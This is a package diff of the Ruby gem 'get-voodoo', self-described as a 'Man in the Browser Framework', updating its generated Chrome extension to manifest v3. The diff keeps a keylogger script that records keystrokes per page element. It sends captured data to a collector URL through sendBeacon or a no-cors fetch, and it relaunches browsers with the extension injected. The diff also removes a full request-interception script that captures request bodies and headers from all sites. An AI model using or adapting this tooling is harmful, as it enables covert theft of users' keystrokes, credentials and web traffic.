get-voodoo 0.0.12 → 0.1.1

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 6906a5bfd817cfdb86c525ffc86677ef7185991a70d0c678df07e41ee2394a81
-  data.tar.gz: 8adb2abcc70fe837e0c5c92cfc306d61a4e14c844bdf50009f0765b458bcc479
+  metadata.gz: 6a341abc912de135e5a04f0e68ab9aa135dca2f459fd151d6efe65aa91bdaaf3
+  data.tar.gz: 6e4b644cbe55322c0cfa4902754946526f0f7b38e269ea9cdbc83ba822c28e13
 SHA512:
-  metadata.gz: 2021b65dc3154a76238cb3cb2015911cda5ddd3aff056814857670925d67ad471d0d8bf4ee4d812940a070819dbc35ac1899c654af82dedfbf4af8eb68727674
-  data.tar.gz: 2febeb01c329895e3313d309e32ce7db3b247f0ea092a4ed0502bfe0d7f97c5050041f62b42e4a7236871869e114e56d8458bdf9188201eb9eeb4582c4d64131
+  metadata.gz: 0e3206f94e3f27b0242241d0d9bb997526b622a0eca480b2d10e96c90187634195f05fbd7cd062da5a37fccd462c216c03104048244a2484c9bbceaca2b5fcda
+  data.tar.gz: 684e82da1f92fc33b2bc898c8b67d40bf0612a34e9e4856dd686366f62eb978d72a6b9d882118b1f4738090ce3753b435b089ec9c713d03a86c8c6c33454b7da

data/lib/voodoo/browser.rb

@@ -14,8 +14,8 @@ module VOODOO
             @process_name = process_name
             @collector_threads = []
 
-            @extension.manifest[:permissions] = ['tabs', '*://*/*', 'webRequest']
-            @extension.add_background_script(file: File.join(__dir__, 'js/collector.js'))
+            @extension.manifest[:permissions] = ['tabs', 'storage']
+            matches = '*://*/*'
         end
 
         def keylogger(matches: '*://*/*', max_events: nil)
@@ -25,30 +25,18 @@ module VOODOO
             ) do |event|
                 yield event
             end
-        end
-
-        def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil, max_events: nil)
-            options = {
-                matches: matches,
-                url_include: url_include,
-                body_include: body_include,
-                header_exists: header_exists
-            }
-
-            add_script(options: options,
-                       background: true,
-                       max_events: max_events,
-                       file: File.join(__dir__, 'js/intercept.js')
-            ) do |event|
-                yield event
-            end
-        end
+        end         
 
         def add_permissions(permissions)
             permissions = [permissions] unless permissions.is_a? Array
             @extension.manifest[:permissions] += permissions
         end
 
+        def add_host_permissions(hosts)
+            hosts = [hosts] unless hosts.is_a? Array
+            @extension.manifest[:host_permissions] += hosts
+        end
+
         def close_browser
             # kill the browser process twise, to bypass close warning
             `pkill -a -i "#{@process_name}"`
@@ -61,7 +49,7 @@ module VOODOO
 
             urls = [urls] unless urls.kind_of? Array
             urls = urls.uniq
-
+            
             `open -b "#{@bundle}" --args #{flags} --load-extension="#{@extension.save}" #{urls.shift}`
 
             if urls.length > 0
@@ -153,12 +141,11 @@ module VOODOO
             content = content % options
             
             if background == true
-                return @extension.add_background_script(content: content)
+                return @extension.add_service_worker(content: content)
             else
                 if matches == nil
                     matches = '*://*/*'
                 end
-                
                 return @extension.add_content_script(matches, js: [content])
             end
         end

data/lib/voodoo/cli.rb

@@ -6,7 +6,7 @@ require 'voodoo/browser'
 
 module VOODOO
 
-    VERSION = 'v0.0.12'
+    VERSION = 'v0.1.1'
 
     class CLI < Thor
 
@@ -14,30 +14,6 @@ module VOODOO
         def version
             puts VERSION
         end
-        
-        option :url_include, :type => :string, :aliases => :u, :default => nil
-        option :body_include, :type => :string, :aliases => :i, :default => nil
-        option :header_exists, :type => :string, :aliases => :h, :default => nil
-        option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload'
-        option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
-        option :urls, :type => :array, :aliases => :x, :default => []
-        option :matches, :type => :array, :aliases => :m, :default => ['<all_urls>']
-        option :browser, :type => :string, :aliases => :b, :default => 'chrome'
-        option :max_events, :type => :numeric, :default => nil
-        desc 'intercept', 'Intercept browser requests'
-        def intercept
-            browser = get_browser options[:browser]
-            output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'intercept')
-
-            browser.intercept(matches: options[:matches],
-                              url_include: options[:url_include],
-                              body_include: options[:body_include],
-                              max_events: options[:max_events]) do |event|
-                output_handler.handle(event)
-            end
-
-            browser.hijack options[:urls]
-        end
 
         option :urls, :type => :array, :aliases => :x, :default => []
         option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload, none'
@@ -56,7 +32,7 @@ module VOODOO
             file = nil
             content = nil
 
-            if File.exists? path_or_js
+            if File.exist? path_or_js
                 file = path_or_js
             else
                 content = path_or_js
@@ -113,6 +89,10 @@ module VOODOO
             if template['permissions']
                 browser.add_permissions template['permissions']
             end
+
+            if template['host_permissions']
+                browser.add_host_permissions template['host_permissions']
+            end
             
             output_format = options[:format]
             is_default = output_format == 'none'
@@ -126,8 +106,11 @@ module VOODOO
             template['scripts'].each do |script|
                 file = File.expand_path(File.join(pwd, script['file'])) if script['file']
                 content = script['content']
-                matches = script['matches']
+                matches = script['matches'] || ['*://*/*']
                 background = script['background'] || false
+                if background
+                    matches = nil
+                end
                 communication = true
 
                 if script.keys.include? 'communication'

data/lib/voodoo/extension.rb

@@ -17,16 +17,17 @@ module VOODOO
                 author: '~',
                 description: '',
                 version: '0.0.1',
-                manifest_version: 2,
-                background: {
-                    scripts: []
-                },
+                manifest_version: 3,
                 permissions: [],
-                content_scripts: []
+                host_permissions: [],
+                content_scripts: [],
+                background: {
+                    service_worker: nil
+                }
             }
         end
 
-        def add_background_script(content: nil, file: nil)
+        def add_service_worker(content: nil, file: nil)
             if content == nil && file != nil
                 content = File.read file
             end
@@ -34,7 +35,7 @@ module VOODOO
                 raise StandardError.new(':content or :file argument are required')
             end
             path = add_file(content, with_extension: '.js')
-            @manifest[:background][:scripts] << path
+            @manifest[:background][:service_worker] = path
         end
 
         def add_content_script(matches, js: [], css: [])
@@ -52,6 +53,10 @@ module VOODOO
 
         def save
             @manifest[:permissions] = @manifest[:permissions].uniq
+            service_worker = @manifest[:background][:service_worker]
+            if service_worker == nil || service_worker == ''
+                @manifest[:background].delete(:service_worker)
+            end
             manifest_path = File.join(@folder, 'manifest.json')
             File.write(manifest_path, JSON.generate(@manifest))
             return @folder

data/lib/voodoo/js/keylogger.js

@@ -40,9 +40,10 @@
     });
 
     window.addEventListener("keydown", function (event) {
-        if (lastElement !== event.path[0]) {
-            lastElement = event.path[0];
-            output += `\n[ELEMENT => ${describe(event.path[0])}]\n`
+        const path = event.composedPath();
+        if (lastElement !== path[0]) {
+            lastElement = path[0];
+            output += `\n[ELEMENT => ${describe(path[0])}]\n`;
         }
         if (event.key.length > 1) {
             output += `[${event.key}]`;

data/lib/voodoo/js/voodoo.js

@@ -1,6 +1,4 @@
-if (!sessionStorage.tab_uuid) {
-    sessionStorage.setItem("tab_uuid", Math.random().toString(16).substring(2));
-}
+let tab_uuid = Math.random().toString(16).substring(2);
 
 const VOODOO = {
     options: { collector_url: "%{collector_url}" },
@@ -11,21 +9,24 @@ const VOODOO = {
         chunk_string(str, length) {
             return str.match(new RegExp('.{1,' + length + '}', 'g'));
         },
-        is_bg_script: window.location.href.indexOf("_generated_background_page.html") !== -1,
         send(body) {
             if (!VOODOO.options.collector_url) {
                 return;
             }
 
             body = JSON.stringify(body);
-
-            if (VOODOO.utils.is_bg_script) {
-                return navigator.sendBeacon(VOODOO.options.collector_url, body);
+            if (navigator && navigator.sendBeacon) {
+                navigator.sendBeacon(VOODOO.options.collector_url, body);
+            } else {
+                fetch(VOODOO.options.collector_url, {
+                    method: "POST",
+                    headers: {
+                        "Content-Type": "application/json"
+                    },
+                    mode: "no-cors",
+                    body
+                });
             }
-
-            chrome.runtime.sendMessage({
-                collector_url: VOODOO.options.collector_url, body
-            });
         }
     },
     log(msg) {
@@ -56,8 +57,8 @@ const VOODOO = {
 
         VOODOO.utils.send({
             time: new Date().getTime(),
-            tab_uuid: sessionStorage.tab_uuid,
-            origin: window.location.origin,
+            tab_uuid: tab_uuid,
+            origin: location.origin,
             payload
         });
 

data/lib/voodoo/output.rb

@@ -35,14 +35,6 @@ module VOODOO
                     case @command
                         when 'keylogger'
                             write event[:payload], with_print: true
-                        when 'intercept'
-                            req = event[:payload]
-                            write "#{req[:method]} #{req[:url]}"
-                            req[:body] = req[:body][0...97] + "..." if req[:body] && req[:body].length > 100
-                            
-                            if req[:body]
-                                write "BODY: #{event[:payload][:body]}"
-                            end 
                         else
                             write JSON.generate(event[:payload])
                     end

metadata

@@ -1,14 +1,14 @@
 --- !ruby/object:Gem::Specification
 name: get-voodoo
 version: !ruby/object:Gem::Version
-  version: 0.0.12
+  version: 0.1.1
 platform: ruby
 authors:
 - Ron Masas
 autorequire: 
 bindir: bin
 cert_chain: []
-date: 2022-03-16 00:00:00.000000000 Z
+date: 2024-12-23 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: thor
@@ -16,56 +16,56 @@ dependencies:
     requirements:
     - - "~>"
       - !ruby/object:Gem::Version
-        version: 1.2.1
+        version: '1.2'
   type: :runtime
   prerelease: false
   version_requirements: !ruby/object:Gem::Requirement
     requirements:
     - - "~>"
       - !ruby/object:Gem::Version
-        version: 1.2.1
+        version: '1.2'
 - !ruby/object:Gem::Dependency
   name: rake
   requirement: !ruby/object:Gem::Requirement
     requirements:
     - - "~>"
       - !ruby/object:Gem::Version
-        version: 13.0.0
+        version: '13.0'
   type: :development
   prerelease: false
   version_requirements: !ruby/object:Gem::Requirement
     requirements:
     - - "~>"
       - !ruby/object:Gem::Version
-        version: 13.0.0
+        version: '13.0'
 - !ruby/object:Gem::Dependency
   name: rspec
   requirement: !ruby/object:Gem::Requirement
     requirements:
     - - "~>"
       - !ruby/object:Gem::Version
-        version: 3.11.0
+        version: '3.11'
   type: :development
   prerelease: false
   version_requirements: !ruby/object:Gem::Requirement
     requirements:
     - - "~>"
       - !ruby/object:Gem::Version
-        version: 3.11.0
+        version: '3.11'
 - !ruby/object:Gem::Dependency
   name: bundler
   requirement: !ruby/object:Gem::Requirement
     requirements:
     - - "~>"
       - !ruby/object:Gem::Version
-        version: '1.7'
+        version: '2.0'
   type: :development
   prerelease: false
   version_requirements: !ruby/object:Gem::Requirement
     requirements:
     - - "~>"
       - !ruby/object:Gem::Version
-        version: '1.7'
+        version: '2.0'
 description: Man in the Browser Framework
 email: 
 executables:
@@ -80,7 +80,6 @@ files:
 - lib/voodoo/collector.rb
 - lib/voodoo/extension.rb
 - lib/voodoo/js/collector.js
-- lib/voodoo/js/intercept.js
 - lib/voodoo/js/keylogger.js
 - lib/voodoo/js/voodoo.js
 - lib/voodoo/output.rb

data/lib/voodoo/js/intercept.js

@@ -1,90 +0,0 @@
-/**
- * VOODOO Intercept
- */
-(function () {
-    let options = {
-        body_include: "%{body_include}",
-        url_include: "%{url_include}",
-        collector_url: "%{collector_url}",
-        header_exists: "%{header_exists}"
-    };
-
-    let matches = "%{matches}";
-
-    if (options.header_exists) {
-        options.header_exists = options.header_exists.toLowerCase();
-    }
-
-    if (!Array.isArray(matches)) {
-        matches = [matches];
-    }
-
-    function parseBody(body) {
-        if (body.formData) {
-            return JSON.stringify(body.formData);
-        }
-
-        try {
-            return body.raw.map(data => String.fromCharCode.apply(null, new Uint8Array(data.bytes))).join('')
-        } catch {
-            return "";
-        }
-    }
-
-    const requests = new Map();
-
-    chrome.webRequest.onBeforeSendHeaders.addListener(function (e) {
-        const request = requests.get(e.requestId);
-
-        if (!request) {
-            return;
-        }
-
-        requests.delete(e.requestId);
-        request.headers = e.requestHeaders;
-
-        if (options.header_exists) {
-            let found = false;
-            for (let header of request.headers) {
-                if (header.name.toLowerCase() === options.header_exists) {
-                    found = true;
-                    break;
-                }
-            }
-            if (!found) {
-                return;
-            }
-        }
-
-        VOODOO.send(request);
-    }, { urls: matches }, ['requestHeaders', 'extraHeaders'])
-
-    chrome.webRequest.onBeforeRequest.addListener(
-        function (request) {
-            if (request.url.startsWith(options.collector_url)) {
-                return { cancel: false };
-            }
-
-            if (options.url_include && request.url.indexOf(options.url_include) === -1) {
-                return { cancel: false };
-            }
-
-            if (options.body_include && !request.requestBody) {
-                return { cancel: false };
-            }
-
-            if (request.requestBody) {
-                request.body = parseBody(request.requestBody);
-                delete request.requestBody;
-                if (options.body_include && request.body.indexOf(options.body_include) === -1) {
-                    return { cancel: false };
-                }
-            }
-
-            requests.set(request.requestId, request);
-            return { cancel: false };
-        },
-        { urls: matches },
-        ['requestBody']
-    );
-})();